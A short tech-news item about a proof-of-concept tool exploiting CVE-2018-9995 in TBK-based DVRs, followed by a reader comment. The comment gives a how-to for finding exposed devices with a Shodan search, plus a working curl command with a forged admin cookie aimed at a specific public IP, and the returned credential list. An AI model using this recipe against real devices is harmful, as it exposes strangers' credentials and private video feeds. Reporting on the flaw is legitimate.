New Hacking Tool Lets Users Access a Bunch of DVRs and Their Video Feeds (bleepingcomputer.com)

An anonymous reader writes: "An Argentinian security researcher named Ezequiel Fernandez has published a powerful new tool yesterday that can easily extract plaintext credentials for various DVR brands and grant attackers access to those systems, and inherently the video feeds they're supposed to record," reports Bleeping Computer. "The tool, named getDVR_Credentials, is a proof-of-concept for CVE-2018-9995, a vulnerability discovered by Fernandez at the start of last month, [affecting TBK DVR systems]. Fernandez discovered that by accessing the control panel of specific DVRs with a cookie header of 'Cookie: uid=admin,' the DVR would respond with the device's admin credentials in cleartext." Tens of thousands of vulnerable devices available online can be hijacked with their video feeds assembled in voyeur sites, like it's been done in the past.

Comments

Howto

[Xenolith0]

Since the article is light on actual details of how to find vulnerable machines.

Go to shodan.io and search for '<A HREF="/login.rsp">'

Replace the IP 14.63.122.219:9000 in the example with one from Shodan's results.

$ curl "http://14.63.122.219:9000/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"
{"result":0,"list":[{"uid":"admin","pwd":"","role":2,"enmac":0,"mac":"00:00:00:00:00:00","playback":4294967295,"view":4294967295,"rview":4294967295,"ptz":4294967295,"backup":4294967295,"opt":4294967295}]}